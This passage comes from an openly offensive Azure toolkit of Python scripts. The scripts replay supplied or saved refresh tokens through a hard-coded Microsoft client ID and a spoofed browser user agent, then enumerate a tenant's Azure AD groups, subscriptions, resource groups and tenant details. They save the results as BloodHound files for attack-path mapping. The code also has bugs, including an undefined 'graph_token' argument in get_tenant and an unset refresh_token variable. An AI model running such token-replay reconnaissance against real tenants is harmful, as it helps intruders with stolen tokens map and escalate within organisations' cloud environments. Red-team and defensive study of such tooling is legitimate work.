90 | 'membershipRuleProcessingState': 'Dynamic_Membership',
91 | 'onPremisesLastSyncDateTime': 'Last_Time_Synced_On-Prem',
92 | 'onPremisesProvisioningErrors': 'On-Prem_Synchronization_Errors',
93 | 'onPremisesSamAccountName': 'On-Prem_SAM_Account_Name',
94 | 'onPremisesSecurityIdentifier': 'On-Prem_Security_Identifier',
95 | 'onPremisesSyncEnabled': 'Is_Group_Synced_On-Prem',
96 | 'preferredDataLocation': 'M365_Preferred_Data_Location',
97 | 'preferredLanguage': 'M365_Preferred_Language',
98 | 'proxyAddress': 'Group_Proxy_Email_Addresses',
99 | 'renewedDateTime': 'Group_Last_Renewed',
100 | 'resourceBehaviorOptions': 'M365_Group_Behaviors',
101 | # AllowOnlyMembersToPost | HideGroupInOutlook | SubscribeNewGroupMembers
102 | # | WelcomeEmailDisabled
103 | 'resourceProvisioningOptions': 'M365_Provisioned_Group_Resources',
104 | 'securityEnabled': 'Security_Group',
105 | 'securityIdentifier': 'Windows_Group_Security_Identifier',
106 | 'theme': 'M365_Group_Color_Theme',
107 | #'unseenCount': 'Unread_Conversations_Count', Not Implemented
108 | # Count of conversations that have received new posts since authenticated users last visit
109 | 'visibility': 'Group_Join_Policy/Group_Content_Visibility'
110 | # Private | Public | Hiddenmembership
111 | }
112 |
113 | SELECT_PARAMS = []
114 | for param_key in SELECT_PARAMS_DICT:
115 | SELECT_PARAMS.append(param_key)
116 |
117 | SELECT_PARAMS_STRING = str(SELECT_PARAMS)[1:][:-1].replace('\'','').replace(' ', '')
118 |
119 | ENDPOINT = ENDPOINT_BASE + SELECT_PARAMS_STRING
120 |
121 | def transpose_group(group):
122 | """Takes in group result from Graph and morphs into something we want"""
123 | return_group = {}
124 | for prop, readable in SELECT_PARAMS_DICT.items():
125 | try:
126 | if isinstance(group[prop], list) and len(group[prop]) == 0:
127 | return_group[readable] = 'None'
128 | else:
129 | return_group[readable] = str(group[prop])
130 | except KeyError:
131 | pass
132 |
133 | return return_group
134 |
135 | def main():
136 | """Runner method"""
137 | arg_parser = argparse.ArgumentParser(
138 | prog='get_groups.py',
139 | usage=SUCCESS + '%(prog)s' + RESET + \
140 | ' [-t|--graph_token ]' + \
141 | ' [-r|--refresh_token ]',
142 | description=DESCRIPTION,
143 | formatter_class=argparse.RawDescriptionHelpFormatter)
144 | arg_parser.add_argument(
145 | '-t',
146 | '--graph_token',
147 | metavar='',
148 | dest='graph_token',
149 | type=str,
150 | help='The ms_graph token you would like to use',
151 | required=False)
152 | arg_parser.add_argument(
153 | '-r',
154 | '--refresh_token',
155 | metavar='',
156 | dest='refresh_token',
157 | type=str,
158 | help='The refresh token you would like to use',
159 | required=False)
160 | arg_parser.add_argument('-R',
161 | '--refresh_token_file',
162 | metavar='',
163 | dest='refresh_token_file',
164 | type=str,
165 | help='A JSON file saved from token_juggle.py ' \
166 | 'containing the refresh token you would like to use.',
167 | required=False)
168 | arg_parser.add_argument('-o',
169 | '--outfile_path',
170 | metavar='',
171 | dest='outfile_path',
172 | type=str,
173 | help='The path of where you want '\
174 | 'the group data saved.'\
175 | '\nIf not supplied, module defaults to '\
176 | 'the current directory.',
177 | required=False)
178 |
179 | args = arg_parser.parse_args()
180 |
181 | # Handle outfile path
182 | outfile_path_base = args.outfile_path
183 | if outfile_path_base is None:
184 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_')
185 | elif outfile_path_base[-1] != '/':
186 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_')
187 | outfile_raw_json = outfile_path_base + 'groups_raw.json'
188 | outfile_condensed = outfile_path_base + 'groups_condensed.json'
189 | outfile_bloodhound = outfile_path_base + 'groups_bloodhound.json'
190 |
191 | # Check to see if any graph or refresh token is given in the arguments
192 | # If both are given, will use graph token
193 | # If no token given, will check for a refresh token file
194 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable
195 | if args.refresh_token is None and args.graph_token is None and \
196 | args.refresh_token_file is None:
197 | try:
198 | refresh_token = os.environ['REFRESH_TOKEN']
199 | except KeyError:
200 | print(DANGER, '\n\tNo refresh token found.\n', RESET)
201 | arg_parser.print_help()
202 | sys.exit()
203 | elif args.refresh_token is None and args.graph_token is None:
204 | path = args.refresh_token_file
205 | try:
206 | with open(path, encoding='UTF-8') as json_file:
207 | json_file_data = json.load(json_file)
208 | json_file.close()
209 | except OSError as error:
210 | print(str(error))
211 | sys.exit()
212 | refresh_token = json_file_data['refresh_token']
213 | elif args.graph_token is not None:
214 | graph_token = args.graph_token
215 | else:
216 | refresh_token = args.refresh_token
217 |
218 | # If we have a refresh token, use it to request the necessary graph access token
219 | if refresh_token is not None:
220 | # Setting up our post request
221 | headers = {
222 | 'User-Agent': USER_AGENT
223 | }
224 | # body of our request
225 | data = {
226 | 'client_id': CLIENT_ID,
227 | 'resource': 'https://graph.microsoft.com',
228 | 'grant_type': 'refresh_token',
229 | 'refresh_token': refresh_token,
230 | 'scope': 'openid',
231 | }
232 |
233 | # Sending the request
234 | json_data = {}
235 | try:
236 | response = requests.post(URI, data=data, headers=headers)
237 | json_data = response.json()
238 | response.raise_for_status()
239 | except requests.exceptions.HTTPError:
240 | print(DANGER)
241 | print(json_data['error'])
242 | print(json_data['error_description'])
243 | print(RESET)
244 | sys.exit()
245 | graph_token = json_data['access_token']
246 |
247 | # Getting our first (only?) page of group results
248 | headers = {
249 | 'Authorization': 'Bearer ' + graph_token
250 | }
251 |
252 | response = requests.get(ENDPOINT, headers=headers).json()
253 | raw_json_data = {'value': []}
254 | groups_result = {}
255 | try:
256 | response_groups = response['value']
257 | except KeyError:
258 | print(f'{DANGER}Error retrieving users{RESET}')
259 | sys.exit()
260 | for group in response_groups:
261 | raw_json_data['value'].append(group)
262 | groups_result[group['id']] = transpose_group(group)
263 |
264 | try:
265 | next_link = response['@odata.nextLink']
266 | except KeyError:
267 | next_link = None
268 |
269 | # If next_link is not None, then the results are paged
270 | # We iterate through the paged results to build out our full group list
271 | while next_link is not None:
272 | response = requests.get(next_link, headers=headers).json()
273 | response_groups = response['value']
274 | for group in response_groups:
275 | raw_json_data['value'].append(group)
276 | groups_result[group['id']] = transpose_group(group)
277 | try:
278 | next_link = response['@odata.nextLink']
279 | except KeyError:
280 | next_link = None
281 |
282 | # Go through our raw json response data and build out a more readable group collection
283 | condensed_json_data = {'groups': {}}
284 | for object_id, values in groups_result.items():
285 | condensed_json_data['groups'][object_id] = {}
286 | for key, value in values.items():
287 | if value != 'None':
288 | condensed_json_data['groups'][object_id][key] = value
289 | print(f'{SUCCESS}{key}{RESET}:\t{value}'.expandtabs(56))
290 | print()
291 |
292 | # Save raw json to file
293 | print(f'{SUCCESS}[+]{RESET} Writing raw response data to {WARNING}{outfile_raw_json}{RESET}')
294 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_json_out:
295 | json.dump(raw_json_data, raw_json_out, indent = 4)
296 |
297 | # save condensed output to file
298 | print(f'{SUCCESS}[+]{RESET} Writing condensed response ' + \
299 | f'data to {WARNING}{outfile_condensed}{RESET}')
300 | with open(outfile_condensed, 'w+', encoding='UTF-8') as condensed_json_out:
301 | json.dump(condensed_json_data, condensed_json_out, indent = 4)
302 |
303 | # save bloodhound-users.json
304 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {WARNING}{outfile_bloodhound}{RESET}')
305 | group_count = len(raw_json_data['value'])
306 | parts = graph_token.split('.')
307 | payload = parts[1]
308 | payload_string = base64.b64decode(payload + '==')
309 | payload_json = json.loads(payload_string)
310 | token_tenant_id = payload_json['tid']
311 | bloodhound_json_data = {
312 | 'meta': {
313 | 'count': group_count,
314 | 'type': 'azgroups',
315 | 'version': 4
316 | },
317 | 'data': []
318 | }
319 | for group in raw_json_data['value']:
320 | bloodhound_json_data['data'].append({
321 | 'DisplayName': group['displayName'],
322 | 'OnPremisesSecurityIdentifier': group['onPremisesSecurityIdentifier'],
323 | 'ObjectID': group['id'],
324 | 'TenantID': token_tenant_id
325 | })
326 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_json_out:
327 | json.dump(bloodhound_json_data, bloodhound_json_out, indent = 4)
328 |
329 | if __name__ == '__main__':
330 | main()
331 | sys.exit()
332 |
--------------------------------------------------------------------------------
/offensive_azure/Azure_AD/get_resource_groups.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import os
21 | import sys
22 | import time
23 | import json
24 | import argparse
25 | import colorama
26 | import requests
27 |
28 | DESCRIPTION = '''
29 | ==========================================================
30 | # #
31 | # Uses Azure Resource Management API to pull a full #
32 | # list of resource groups. #
33 | # #
34 | # If no ARM token or refresh_token is supplied, #
35 | # module will look in the REFRESH_TOKEN environment #
36 | # variable and request the ARM token #
37 | # #
38 | # Outputs a raw json output file, and a json file #
39 | # compatible with BloodHound #
40 | # #
41 | ==========================================================
42 | '''
43 |
44 | # Set up our colors
45 | colorama.init()
46 | SUCCESS = colorama.Fore.GREEN
47 | DANGER = colorama.Fore.RED
48 | WARNING = colorama.Fore.YELLOW
49 | RESET = colorama.Style.RESET_ALL
50 | VALID = colorama.Fore.CYAN
51 |
52 | # For use querying graph api for users and group membership
53 | ENDPOINT_BASE = 'https://management.azure.com/subscriptions/'
54 | ENDPOINT_RSGS = '/resourcegroups?api-version=2021-04-01'
55 | ENDPOINT_SUBS = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
56 |
57 | # For use when requesting new access tokens with refresh token
58 | URI = 'https://login.microsoftonline.com/Common/oauth2/token'
59 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c'
60 |
61 | # User agent to use with requests
62 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'
63 |
64 | def main():
65 | """Runner method"""
66 | arg_parser = argparse.ArgumentParser(
67 | prog='get_resource_groups.py',
68 | usage=SUCCESS + '%(prog)s' + RESET + \
69 | ' [-t|--arm_token ]' + \
70 | ' [-r|--refresh_token ]',
71 | description=DESCRIPTION,
72 | formatter_class=argparse.RawDescriptionHelpFormatter)
73 | arg_parser.add_argument(
74 | '-t',
75 | '--arm_token',
76 | metavar='',
77 | dest='arm_token',
78 | type=str,
79 | help='The ARM token you would like to use',
80 | required=False)
81 | arg_parser.add_argument(
82 | '-r',
83 | '--refresh_token',
84 | metavar='',
85 | dest='refresh_token',
86 | type=str,
87 | help='The refresh token you would like to use',
88 | required=False)
89 | arg_parser.add_argument('-R',
90 | '--refresh_token_file',
91 | metavar='',
92 | dest='refresh_token_file',
93 | type=str,
94 | help='A JSON file saved from token_juggle.py ' \
95 | 'containing the refresh token you would like to use.',
96 | required=False)
97 | arg_parser.add_argument('-o',
98 | '--outfile_path',
99 | metavar='',
100 | dest='outfile_path',
101 | type=str,
102 | help='The path of where you want '\
103 | 'the resource group data saved.'\
104 | '\nIf not supplied, module defaults to '\
105 | 'the current directory.',
106 | required=False)
107 |
108 | args = arg_parser.parse_args()
109 |
110 | # Handle outfile path
111 | outfile_path_base = args.outfile_path
112 | if outfile_path_base is None:
113 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_')
114 | elif outfile_path_base[-1] != '/':
115 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_')
116 | outfile_raw_json = outfile_path_base + 'resource_groups_raw.json'
117 | outfile_bloodhound = outfile_path_base + 'resource_groups_bloodhound.json'
118 |
119 | # Check to see if any graph or refresh token is given in the arguments
120 | # If both are given, will use graph token
121 | # If no token given, will check for a refresh token file
122 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable
123 | if args.refresh_token is None and args.arm_token is None and \
124 | args.refresh_token_file is None:
125 | try:
126 | refresh_token = os.environ['REFRESH_TOKEN']
127 | except KeyError:
128 | print(DANGER, '\n\tNo refresh token found.\n', RESET)
129 | arg_parser.print_help()
130 | sys.exit()
131 | elif args.refresh_token is None and args.arm_token is None:
132 | path = args.refresh_token_file
133 | try:
134 | with open(path, encoding='UTF-8') as json_file:
135 | json_file_data = json.load(json_file)
136 | json_file.close()
137 | except OSError as error:
138 | print(str(error))
139 | sys.exit()
140 | refresh_token = json_file_data['refresh_token']
141 | elif args.arm_token is not None:
142 | arm_token = args.arm_token
143 | else:
144 | refresh_token = args.refresh_token
145 |
146 | # If we have a refresh token, use it to request the necessary graph access token
147 | if refresh_token is not None:
148 | # Setting up our post request
149 | headers = {
150 | 'User-Agent': USER_AGENT
151 | }
152 | # body of our request
153 | data = {
154 | 'client_id': CLIENT_ID,
155 | 'resource': 'https://management.azure.com',
156 | 'grant_type': 'refresh_token',
157 | 'refresh_token': refresh_token,
158 | 'scope': 'openid',
159 | }
160 |
161 | # Sending the request
162 | json_data = {}
163 | try:
164 | response = requests.post(URI, data=data, headers=headers)
165 | json_data = response.json()
166 | response.raise_for_status()
167 | except requests.exceptions.HTTPError:
168 | print(DANGER)
169 | print(json_data['error'])
170 | print(json_data['error_description'])
171 | print(RESET)
172 | sys.exit()
173 | arm_token = json_data['access_token']
174 |
175 | # Grabbing available subscriptions
176 | headers = {
177 | 'Authorization': 'Bearer ' + arm_token
178 | }
179 | subs_response = requests.get(ENDPOINT_SUBS, headers=headers).json()
180 | raw_json_data_subs = {
181 | 'value': subs_response['value']
182 | }
183 | try:
184 | next_link = subs_response['nextLink']
185 | except KeyError:
186 | next_link = None
187 | while next_link:
188 | subs_response = requests.get(next_link, headers=headers).json()
189 | for sub in subs_response['value']:
190 | raw_json_data_subs['value'].append(sub)
191 | try:
192 | next_link = subs_response['nextLink']
193 | except KeyError:
194 | next_link = None
195 |
196 | # We have our subs, now we need to grab the resource groups within each
197 | raw_json_data_rsg = {'value': []}
198 | for sub in raw_json_data_subs['value']:
199 | sub_id = sub['subscriptionId']
200 | resource_group_response = requests.get(ENDPOINT_BASE + sub_id + ENDPOINT_RSGS,
201 | headers=headers).json()
202 | for rsg in resource_group_response['value']:
203 | raw_json_data_rsg['value'].append(rsg)
204 | try:
205 | next_link = resource_group_response['nextLink']
206 | except KeyError:
207 | next_link = None
208 | while next_link:
209 | resource_group_response = requests.get(next_link, headers=headers).json()
210 | for rsg in resource_group_response['value']:
211 | raw_json_data_rsg['value'].append(rsg)
212 | try:
213 | next_link = resource_group_response['nextLink']
214 | except KeyError:
215 | next_link = None
216 |
217 | # We should have our complete list of resource groups now
218 | count = len(raw_json_data_rsg['value'])
219 |
220 | # Process raw data
221 | bloodhound_json_data = {
222 | 'meta': {
223 | 'count': count,
224 | 'type': 'azresourcegroups',
225 | 'version': 4
226 | },
227 | 'data': []
228 | }
229 | for rsg in raw_json_data_rsg['value']:
230 | sub_id = rsg['id'].split('/')[2]
231 | bloodhound_json_data['data'].append({
232 | 'ResourceGroupName': rsg['name'],
233 | 'SubscriptionID': sub_id,
234 | 'ResourceGroupID': rsg['id']
235 | })
236 | for prop, val in rsg.items():
237 | if val is not None:
238 | print(f'{SUCCESS}{prop}{RESET}:\t{str(val)}'.expandtabs(32))
239 | print()
240 |
241 | # Writing out raw data
242 | print(f'{SUCCESS}[+]{RESET} Writing raw data to {outfile_raw_json}')
243 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_out:
244 | json.dump(raw_json_data_rsg, raw_out, indent=4)
245 |
246 | # Writing out bloodhound data
247 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {outfile_bloodhound}')
248 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_out:
249 | json.dump(bloodhound_json_data, bloodhound_out, indent=4)
250 |
251 | if __name__ == '__main__':
252 | main()
253 | sys.exit()
254 |
--------------------------------------------------------------------------------
/offensive_azure/Azure_AD/get_subscriptions.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import os
21 | import sys
22 | import time
23 | import json
24 | import argparse
25 | import colorama
26 | import requests
27 |
28 | DESCRIPTION = '''
29 | ==========================================================
30 | # #
31 | # Uses Azure Resource Management API to pull a full #
32 | # list of subscriptions. #
33 | # #
34 | # If no ARM token or refresh_token is supplied, #
35 | # module will look in the REFRESH_TOKEN environment #
36 | # variable and request the ARM token #
37 | # #
38 | # Outputs condensed results in a text file, a raw json #
39 | # output file, and a json file compatible with #
40 | # BloodHound #
41 | # #
42 | ==========================================================
43 | '''
44 |
45 | # Set up our colors
46 | colorama.init()
47 | SUCCESS = colorama.Fore.GREEN
48 | DANGER = colorama.Fore.RED
49 | WARNING = colorama.Fore.YELLOW
50 | RESET = colorama.Style.RESET_ALL
51 | VALID = colorama.Fore.CYAN
52 |
53 | # For use querying graph api for users and group membership
54 | ENDPOINT = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
55 |
56 | # For use when requesting new access tokens with refresh token
57 | URI = 'https://login.microsoftonline.com/Common/oauth2/token'
58 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c'
59 |
60 | # User agent to use with requests
61 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'
62 |
63 | def main():
64 | """Runner method"""
65 | arg_parser = argparse.ArgumentParser(
66 | prog='get_subscriptions.py',
67 | usage=SUCCESS + '%(prog)s' + RESET + \
68 | ' [-t|--arm_token ]' + \
69 | ' [-r|--refresh_token ]',
70 | description=DESCRIPTION,
71 | formatter_class=argparse.RawDescriptionHelpFormatter)
72 | arg_parser.add_argument(
73 | '-t',
74 | '--arm_token',
75 | metavar='',
76 | dest='arm_token',
77 | type=str,
78 | help='The ARM token you would like to use',
79 | required=False)
80 | arg_parser.add_argument(
81 | '-r',
82 | '--refresh_token',
83 | metavar='',
84 | dest='refresh_token',
85 | type=str,
86 | help='The refresh token you would like to use',
87 | required=False)
88 | arg_parser.add_argument('-R',
89 | '--refresh_token_file',
90 | metavar='',
91 | dest='refresh_token_file',
92 | type=str,
93 | help='A JSON file saved from token_juggle.py ' \
94 | 'containing the refresh token you would like to use.',
95 | required=False)
96 | arg_parser.add_argument('-o',
97 | '--outfile_path',
98 | metavar='',
99 | dest='outfile_path',
100 | type=str,
101 | help='The path of where you want '\
102 | 'the subscription data saved.'\
103 | '\nIf not supplied, module defaults to '\
104 | 'the current directory.',
105 | required=False)
106 |
107 | args = arg_parser.parse_args()
108 |
109 | # Handle outfile path
110 | outfile_path_base = args.outfile_path
111 | if outfile_path_base is None:
112 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_')
113 | elif outfile_path_base[-1] != '/':
114 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_')
115 | outfile_raw_json = outfile_path_base + 'subscriptions_raw.json'
116 | outfile_condensed = outfile_path_base + 'subscriptions_condensed.json'
117 | outfile_bloodhound = outfile_path_base + 'subscriptions_bloodhound.json'
118 |
119 | # Check to see if any graph or refresh token is given in the arguments
120 | # If both are given, will use graph token
121 | # If no token given, will check for a refresh token file
122 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable
123 | if args.refresh_token is None and args.arm_token is None and \
124 | args.refresh_token_file is None:
125 | try:
126 | refresh_token = os.environ['REFRESH_TOKEN']
127 | except KeyError:
128 | print(DANGER, '\n\tNo refresh token found.\n', RESET)
129 | arg_parser.print_help()
130 | sys.exit()
131 | elif args.refresh_token is None and args.arm_token is None:
132 | path = args.refresh_token_file
133 | try:
134 | with open(path, encoding='UTF-8') as json_file:
135 | json_file_data = json.load(json_file)
136 | json_file.close()
137 | except OSError as error:
138 | print(str(error))
139 | sys.exit()
140 | refresh_token = json_file_data['refresh_token']
141 | elif args.arm_token is not None:
142 | arm_token = args.arm_token
143 | else:
144 | refresh_token = args.refresh_token
145 |
146 | # If we have a refresh token, use it to request the necessary graph access token
147 | if refresh_token is not None:
148 | # Setting up our post request
149 | headers = {
150 | 'User-Agent': USER_AGENT
151 | }
152 | # body of our request
153 | data = {
154 | 'client_id': CLIENT_ID,
155 | 'resource': 'https://management.azure.com',
156 | 'grant_type': 'refresh_token',
157 | 'refresh_token': refresh_token,
158 | 'scope': 'openid',
159 | }
160 |
161 | # Sending the request
162 | json_data = {}
163 | try:
164 | response = requests.post(URI, data=data, headers=headers)
165 | json_data = response.json()
166 | response.raise_for_status()
167 | except requests.exceptions.HTTPError:
168 | print(DANGER)
169 | print(json_data['error'])
170 | print(json_data['error_description'])
171 | print(RESET)
172 | sys.exit()
173 | arm_token = json_data['access_token']
174 |
175 | # Collect all available subscriptions
176 | headers = {
177 | 'Authorization': 'Bearer ' + arm_token
178 | }
179 | subs_response = requests.get(ENDPOINT, headers=headers).json()
180 | raw_json_data = {
181 | 'value': subs_response['value']
182 | }
183 | try:
184 | next_link = subs_response['nextLink']
185 | except KeyError:
186 | next_link = None
187 | while next_link:
188 | subs_response = requests.get(next_link, headers=headers).json()
189 | for sub in subs_response['value']:
190 | raw_json_data['value'].append(sub)
191 | try:
192 | next_link = subs_response['nextLink']
193 | except KeyError:
194 | next_link = None
195 |
196 | # Process raw data
197 | condensed_json_data = {'value': []}
198 | bloodhound_json_data = {
199 | 'meta': {
200 | 'count': subs_response['count']['value'],
201 | 'type': 'azsubscriptions',
202 | 'version': 4
203 | },
204 | 'data': []
205 | }
206 | for sub in raw_json_data['value']:
207 | sub_builder = {
208 | 'id': sub['id'],
209 | 'displayName': sub['displayName'],
210 | 'tenantId': sub['tenantId']
211 | }
212 | bloodhound_json_data['data'].append({
213 | 'Name': sub['displayName'],
214 | 'SubscriptionId': sub['subscriptionId'],
215 | 'TenantId': sub['tenantId']
216 | })
217 | print(f'{SUCCESS}Tenant ID{RESET}:\t{sub["tenantId"]}'.expandtabs(32))
218 | print(f'{SUCCESS}Subscription Name{RESET}:\t{sub["displayName"]}'.expandtabs(32))
219 | print(f'{SUCCESS}Subscription ID{RESET}:\t{sub["id"]}'.expandtabs(32))
220 | for prop, val in sub.items():
221 | if val is not None and prop not in ['id', 'displayName', 'tenantId'] and \
222 | len(val) != 0:
223 | sub_builder[prop] = val
224 | print(f'{SUCCESS}{prop}{RESET}:\t{str(val)}'.expandtabs(32))
225 | condensed_json_data['value'].append(sub_builder)
226 | print()
227 |
228 | # Writing out raw data
229 | print(f'{SUCCESS}[+]{RESET} Writing raw data to {outfile_raw_json}')
230 | with open(outfile_raw_json, 'w+', encoding='UTF-8') as raw_out:
231 | json.dump(raw_json_data, raw_out, indent=4)
232 |
233 | # Writing out condensed data
234 | print(f'{SUCCESS}[+]{RESET} Writing condensed data to {outfile_condensed}')
235 | with open(outfile_condensed, 'w+', encoding='UTF-8') as condensed_out:
236 | json.dump(condensed_json_data, condensed_out, indent=4)
237 |
238 | # Writing out bloodhound data
239 | print(f'{SUCCESS}[+]{RESET} Writing bloodhound data to {outfile_bloodhound}')
240 | with open(outfile_bloodhound, 'w+', encoding='UTF-8') as bloodhound_out:
241 | json.dump(bloodhound_json_data, bloodhound_out, indent=4)
242 |
243 | if __name__ == '__main__':
244 | main()
245 | sys.exit()
246 |
--------------------------------------------------------------------------------
/offensive_azure/Azure_AD/get_tenant.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | '''
4 | Copyright (C) 2022 Cody Martin BLSOPS LLC
5 |
6 | This program is free software: you can redistribute it and/or modify
7 | it under the terms of the GNU General Public License as published by
8 | the Free Software Foundation, either version 3 of the License, or
9 | (at your option) any later version.
10 |
11 | This program is distributed in the hope that it will be useful,
12 | but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | GNU General Public License for more details.
15 |
16 | You should have received a copy of the GNU General Public License
17 | along with this program. If not, see .
18 | '''
19 |
20 | import os
21 | import sys
22 | import time
23 | import base64
24 | import json
25 | import argparse
26 | import colorama
27 | import requests
28 |
29 | DESCRIPTION = '''
30 | ==========================================================
31 | # #
32 | # If no access token or refresh_token is supplied, #
33 | # module will look in the REFRESH_TOKEN environment #
34 | # variable and request an access token #
35 | # #
36 | # Outputs results in a text file, and a json file #
37 | # compatible with BloodHound #
38 | # #
39 | ==========================================================
40 | '''
41 |
42 | # Set up our colors
43 | colorama.init()
44 | SUCCESS = colorama.Fore.GREEN
45 | DANGER = colorama.Fore.RED
46 | WARNING = colorama.Fore.YELLOW
47 | RESET = colorama.Style.RESET_ALL
48 | VALID = colorama.Fore.CYAN
49 |
50 | # For use when requesting new access tokens with refresh token
51 | URI = 'https://login.microsoftonline.com/Common/oauth2/token'
52 | CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c'
53 |
54 | # User agent to use with requests
55 | USER_AGENT = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0'
56 |
57 | def main():
58 |
59 | """Runner method"""
60 | arg_parser = argparse.ArgumentParser(
61 | prog='get_tenant.py',
62 | usage=SUCCESS + '%(prog)s' + RESET + \
63 | ' [-t|--access_token ]' + \
64 | ' [-r|--refresh_token ]',
65 | description=DESCRIPTION,
66 | formatter_class=argparse.RawDescriptionHelpFormatter)
67 | arg_parser.add_argument(
68 | '-t',
69 | '--access_token',
70 | metavar='',
71 | dest='access_token',
72 | type=str,
73 | help='The access token you would like to use',
74 | required=False)
75 | arg_parser.add_argument(
76 | '-r',
77 | '--refresh_token',
78 | metavar='',
79 | dest='refresh_token',
80 | type=str,
81 | help='The refresh token you would like to use',
82 | required=False)
83 | arg_parser.add_argument('-R',
84 | '--refresh_token_file',
85 | metavar='',
86 | dest='refresh_token_file',
87 | type=str,
88 | help='A JSON file saved from token_juggle.py ' \
89 | 'containing the refresh token you would like to use.',
90 | required=False)
91 | arg_parser.add_argument('-o',
92 | '--outfile_path',
93 | metavar='',
94 | dest='outfile_path',
95 | type=str,
96 | help='The path of where you want '\
97 | 'the tenant data saved.'\
98 | '\nIf not supplied, module defaults to '\
99 | 'the current directory.',
100 | required=False)
101 |
102 |
103 | args = arg_parser.parse_args()
104 |
105 | # Handle outfile path
106 | outfile_path_base = args.outfile_path
107 | if outfile_path_base is None:
108 | outfile_path_base = time.strftime('%Y-%m-%d_%H-%M-%S_')
109 | elif outfile_path_base[-1] != '/':
110 | outfile_path_base = outfile_path_base + '/' + time.strftime('%Y-%m-%d_%H-%M-%S_')
111 | outfile_text = outfile_path_base + 'tenant.txt'
112 | outfile_bloodhound = outfile_path_base + 'tenant_bloodhound.json'
113 |
114 | # Check to see if any graph or refresh token is given in the arguments
115 | # If both are given, will use graph token
116 | # If no token given, will check for a refresh token file
117 | # If no arguments are given, will look in the REFRESH_TOKEN environment variable
118 | if args.refresh_token is None and args.access_token is None and \
119 | args.refresh_token_file is None:
120 | try:
121 | refresh_token = os.environ['REFRESH_TOKEN']
122 | except KeyError:
123 | print(DANGER, '\n\tNo refresh token found.\n', RESET)
124 | arg_parser.print_help()
125 | sys.exit()
126 | elif args.refresh_token is None and args.access_token is None:
127 | path = args.refresh_token_file
128 | try:
129 | with open(path, encoding='UTF-8') as json_file:
130 | json_file_data = json.load(json_file)
131 | json_file.close()
132 | except OSError as error:
133 | print(str(error))
134 | sys.exit()
135 | refresh_token = json_file_data['refresh_token']
136 | elif args.access_token is not None:
137 | access_token = args.graph_token
138 | else:
139 | refresh_token = args.refresh_token
140 |
141 | # If we have a refresh token, use it to request the necessary graph access token
142 | if refresh_token is not None:
143 | # Setting up our post request
144 | headers = {
145 | 'User-Agent': USER_AGENT
146 | }
147 | # body of our request
148 | data = {
149 | 'client_id': CLIENT_ID,
150 | 'resource': 'https://graph.microsoft.com',
151 | 'grant_type': 'refresh_token',
152 | 'refresh_token': refresh_token,
153 | 'scope': 'openid',
154 | }
155 |
156 | # Sending the request
157 | json_data = {}
158 | try:
159 | response = requests.post(URI, data=data, headers=headers)
160 | json_data = response.json()
161 | response.raise_for_status()
162 | except requests.exceptions.HTTPError:
163 | print(DANGER)
164 | print(json_data['error'])
165 | print(json_data['error_description'])
166 | print(RESET)
167 | sys.exit()
168 | access_token = json_data['access_token']
169 |
170 | parts = access_token.split('.')
171 | payload = parts[1]
172 | payload_string = base64.b64decode(payload + '==')
173 | payload_json = json.loads(payload_string)
174 |
175 | tenant_id = payload_json['tid']
176 |
177 | user = payload_json['upn']
178 | endpoint = f'https://login.microsoftonline.com/GetUserRealm.srf?login={user}'
179 | user_realm_json = requests.get(endpoint).json()
180 |
181 | tenant_name = user_realm_json['FederationBrandName']
182 |
183 | bloodhound_json_data = {
184 | 'meta': {
185 | 'count': 1,
186 | 'type': 'aztenants',
187 | 'version': 4
188 | },
189 | 'data': [{
190 | 'ObjectID': tenant_id,
191 | 'DisplayName': tenant_name
192 | }]
